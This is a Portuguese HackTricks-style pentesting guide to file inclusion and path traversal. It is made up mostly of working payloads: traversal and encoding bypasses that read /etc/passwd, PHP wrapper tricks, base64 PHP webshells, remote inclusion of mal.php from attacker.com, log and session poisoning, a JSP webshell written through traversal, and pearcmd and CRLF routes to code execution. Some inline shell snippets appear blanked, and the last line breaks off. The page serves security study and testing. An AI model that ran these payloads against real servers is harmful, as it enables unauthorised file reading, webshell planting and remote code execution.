# Inclusão de Arquivos/Travessia de Caminho
{{#include ../../banners/hacktricks-training.md}}
## Inclusão de Arquivos
**Inclusão de Arquivos Remota (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). No php isso está **desativado** por padrão (**allow_url_include**).\
**Inclusão de Arquivos Local (LFI):** O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
Funções **PHP vulneráveis**: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interessante - arquivos LFI2RCE
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Misturando várias listas de LFI \*nix e adicionando mais caminhos, criei esta:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Tente também mudar `/` para `\`\
Tente também adicionar `../../../../../`
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Mescla de diferentes listas de palavras:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Tente também mudar `/` para `\`\
Tente também remover `C:/` e adicionar `../../../../../`
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Verifique a lista de LFI do linux.
## LFI básico e contornos
Todos os exemplos são para Inclusão de Arquivo Local, mas também podem ser aplicados à Inclusão de Arquivo Remoto (página=[http://myserver.com/phpshellcode.txt\\]().
```
http://example.com/index.php?page=../../../etc/passwd
```
### sequências de travessia removidas não recursivamente
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass o acréscimo de mais caracteres no final da string fornecida (bypass de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Isso está **resolvido desde o PHP 5.4**
### **Codificação**
Você pode usar codificações não padrão, como codificação dupla de URL (e outras):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### De pasta existente
Talvez o back-end esteja verificando o caminho da pasta:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Explorando Diretórios do Sistema de Arquivos em um Servidor
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Este processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
1. **Determinar a Profundidade do Diretório:** Aferir a profundidade do seu diretório atual ao buscar com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um URL de exemplo pode ser estruturado da seguinte forma, indicando uma profundidade de três:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Procurar por Pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, e depois navegue de volta para `/etc/passwd`. O nível de diretório adicional requer aumentar a profundidade em um:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interprete os Resultados:** A resposta do servidor indica se a pasta existe:
- **Erro / Sem Saída:** A pasta `private` provavelmente não existe na localização especificada.
- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada.
4. **Exploração Recursiva:** Pastas descobertas podem ser investigadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
Para explorar diretórios em diferentes localizações no sistema de arquivos, ajuste a carga útil de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (supondo que o diretório atual esteja a uma profundidade de 3), use:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Técnica de Truncamento de Caminho**
O truncamento de caminho é um método empregado para manipular caminhos de arquivos em aplicações web. É frequentemente utilizado para acessar arquivos restritos, contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivos. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` são todos tratados como o mesmo caminho.
- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando-o `passwd/`) não muda o arquivo alvo.
- Da mesma forma, se `.php` for adicionado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo sendo acessado.
Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações da conta do usuário):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Nesses cenários, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
- **Usando Segmentos de Ponto e Caracteres Adicionais**: Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar pelo sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
- **Determinando o Número Necessário de Travessias**: Através de tentativa e erro, pode-se encontrar o número preciso de sequências de `../` necessárias para navegar até o diretório raiz e, em seguida, para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Começando com um Diretório Falso**: É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como uma medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminho do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
**Essa vulnerabilidade foi corrigida no PHP 5.3.**
### **Truques de bypass de filtro**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Inclusão Remota de Arquivo
Em php isso está desativado por padrão porque **`allow_url_include`** está **Desligado.** Deve estar **Ligado** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Se por algum motivo **`allow_url_include`** está **Ativado**, mas o PHP está **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64, essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
Outro exemplo **não usando o protocolo `php://`** seria:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
Em python em um código como este:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é apenas removido**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
É o comportamento pretendido de acordo com [a documentação](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
## Java Listar Diretórios
Parece que se você tiver uma Traversal de Caminho em Java e **pedir um diretório** em vez de um arquivo, um **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (até onde sei).
## 25 principais parâmetros
Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI usando wrappers e protocolos PHP
### php://filter
Os filtros PHP permitem realizar **operações básicas de modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
- Note que este filtro desapareceu das versões modernas do PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv..`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
> [!WARNING]
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer uma função como incluir texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprime o conteúdo (útil se exfiltrando muitas informações)
- `zlib.inflate`: Descomprime os dados
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Obsoleto
- `mdecrypt.*` : Obsoleto
- Outros Filtros
- Executando em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
- `consumed`
- `dechunk`: reverte a codificação HTTP em pedaços
- `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> A parte "php://filter" é insensível a maiúsculas e minúsculas
### Usando filtros php como oráculo para ler arquivos arbitrários
[**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica é baseada em uma **exfiltração booleana do arquivo (caractere por caractere) usando filtros php** como oráculo. Isso ocorre porque os filtros php podem ser usados para aumentar um texto o suficiente para que o php lance uma exceção.
No post original, você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido:
- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente.
- Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php acionará um **erro**.
- O filtro **dechunk** irá **remover tudo se o primeiro caractere não for um hexadecimal**, então podemos saber se o primeiro caractere é hexadecimal.
- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja um caractere hexadecimal. Porque se for hexadecimal, o dechunk não o deletará e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 desse codec a->b->c->d->e->f->g a letra não é mais um caractere hexadecimal, portanto o dechunk não a deletou e o erro do php é acionado porque se multiplica com a bomba inicial.
- Usando outras transformações como **rot13** no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).
- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.
- O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos caracteres e obter na primeira posição outras letras do texto.
- E para poder obter **mais dados** a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer **pivotar com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
No post, uma ferramenta para realizar isso automaticamente também foi vazada: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Este wrapper permite acessar descritores de arquivo que o processo tem abertos. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2** respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
### zip:// e rar://
Carregue um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
Para poder abusar do protocolo rar, **ele precisa ser ativado especificamente**.
```bash
echo "" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
```
http://example.net/?page=data://text/plain,
http://example.net/?page=data://text/plain,
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is ""
```
Observe que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
### expect://
Expect deve ser ativado. Você pode executar código usando isto:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Especifique seu payload nos parâmetros POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo `.phar`:
```php
startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');
$phar->stopBuffering();
```
Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
```bash
php --define phar.readonly=0 create_path.php
```
Ao ser executado, um arquivo chamado `test.phar` será criado, o qual pode ser potencialmente utilizado para explorar vulnerabilidades de Inclusão de Arquivo Local (LFI).
Em casos onde o LFI apenas realiza a leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
Para uma compreensão detalhada da exploração de vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
phar-deserialization.md
{{#endref}}
### CVE-2024-2961
Foi possível abusar de **qualquer arquivo arbitrário lido do PHP que suporta filtros php** para obter um RCE. A descrição detalhada pode ser [**encontrada neste post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de chunks livres** de um tamanho específico para poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
Foi possível alocar chunks de tamanhos específicos abusando de mais filtros php.
### Mais protocolos
Verifique mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Streams de Compressão
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nomes de caminho que correspondem ao padrão (não retorna nada imprimível, então não é realmente útil aqui)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de áudio (não útil para ler arquivos arbitrários)
## LFI via 'assert' do PHP
Os riscos de Inclusão de Arquivo Local (LFI) no PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contendo caracteres de travessia de diretório como ".." estiver sendo verificada, mas não devidamente sanitizada.
Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretório assim:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Embora isso tenha como objetivo impedir a travessia, inadvertidamente cria um vetor para injeção de código. Para explorar isso para ler o conteúdo de arquivos, um invasor poderia usar:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
```plaintext
' and die(system("id")) or '
```
É importante **URL-encodar esses payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo**, mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) e o conteúdo não é exibido.
Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via filtro PHP para **exfiltrar o conteúdo de um arquivo através de um oracle de erro**.
Em resumo, a técnica usa a **"codificação UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.
**Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo de leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Para os detalhes técnicos, confira o post mencionado!
## LFI2RCE
### Escrita de Arquivo Arbitrário via Path Traversal (Webshell RCE)
Quando o código do lado do servidor que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um nome de arquivo ou URL) sem canonizar e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma escrita de arquivo arbitrária. Se você puder colocar o payload em um diretório exposto na web, geralmente obtém RCE não autenticado ao soltar uma webshell.
Fluxo típico de exploração:
- Identifique uma primitiva de escrita em um endpoint ou trabalhador em segundo plano que aceita um caminho/nome de arquivo e escreve conteúdo no disco (por exemplo, ingestão orientada a mensagens, manipuladores de comando XML/JSON, extratores ZIP, etc.).
- Determine diretórios expostos na web. Exemplos comuns:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `/webapps/ROOT/` → solte `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → solte `shell.aspx`
- Crie um caminho de travessia que escape do diretório de armazenamento pretendido para o webroot e inclua seu conteúdo de webshell.
- Navegue até o payload solto e execute comandos.
Notas:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um ouvinte JMF XML na TCP 4004). O portal web principal (porta diferente) servirá seu payload mais tarde.
- Em pilhas Java, essas escritas de arquivo são frequentemente implementadas com simples concatenações de `File`/`Paths`. A falta de canonização/lista de permissão é a falha central.
Exemplo genérico estilo XML/JMF (os esquemas de produto variam – o wrapper DOCTYPE/body é irrelevante para a travessia):
```xml
../../../webapps/ROOT/shell.jsp
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
```
Hardening que derrota essa classe de bugs:
- Resolva para um caminho canônico e garanta que seja um descendente de um diretório base na lista de permissões.
- Rejeite qualquer caminho contendo `..`, raízes absolutas ou letras de unidade; prefira nomes de arquivos gerados.
- Execute o escritor como uma conta de baixo privilégio e segmente diretórios de escrita de raízes servidas.
## Inclusão de Arquivo Remoto
Explicado anteriormente, [**siga este link**](#remote-file-inclusion).
### Via arquivo de log do Apache/Nginx
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell php como **``** e incluir esse arquivo.
> [!WARNING]
> Note que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP gerará um erro** lá e **nada mais será executado**.
>
> Além disso, certifique-se de **escrever corretamente a carga útil** ou o PHP gerará um erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
Isso também pode ser feito em outros logs, mas **tenha cuidado,** o código dentro dos logs pode estar codificado em URL e isso pode destruir o Shell. O cabeçalho **autorização "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
Outros possíveis caminhos de log:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `` e tente incluir no e-mail do usuário com um caminho como **`/var/mail/`** ou **`/var/spool/mail/`**
### Via /proc/\*/fd/\*
1. Faça upload de muitas shells (por exemplo: 100)
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser forçado por brute force) e $FD o descritor de arquivo (também pode ser forçado por brute force)
### Via /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: =phpinfo(); ?>
```
### Via upload
Se você puder fazer o upload de um arquivo, basta injetar o payload da shell nele (por exemplo: ``).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
### Via upload de arquivo Zip
Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
Verifique se o site usa PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Em PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Defina o cookie como ``
```
login=1&user=&pass=password&lang=en_us.php
```
Use a LFI para incluir o arquivo de sessão PHP.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
Se o ssh estiver ativo, verifique qual usuário está sendo utilizado (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
Os logs para o servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Local File Inclusion (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
1. Injete um payload PHP no campo de nome de usuário durante o processo de login.
2. Após a injeção, utilize o LFI para recuperar os logs do servidor de _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
Como mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora Non-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
### Via php filters (sem arquivo necessário)
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via falha de segmentação
**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** acione uma **falha de segmentação**, e então o **arquivo temporário não será deletado** e você pode procurá-lo.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via armazenamento de arquivos temporários do Nginx
Se você encontrou uma **Inclusão de Arquivo Local** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma **Inclusão de Arquivo Local** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **habilitar a sessão para você**. Você poderia abusar disso para obter RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via uploads de arquivos temporários no Windows
Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está rodando em **Windows**, você pode conseguir RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + argumentos de URL
Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
A seguinte requisição cria um arquivo em `/tmp/hello.php` com o conteúdo `=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
O seguinte abusa de uma vulnerabilidade CRLF para obter RCE (de [**aqui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
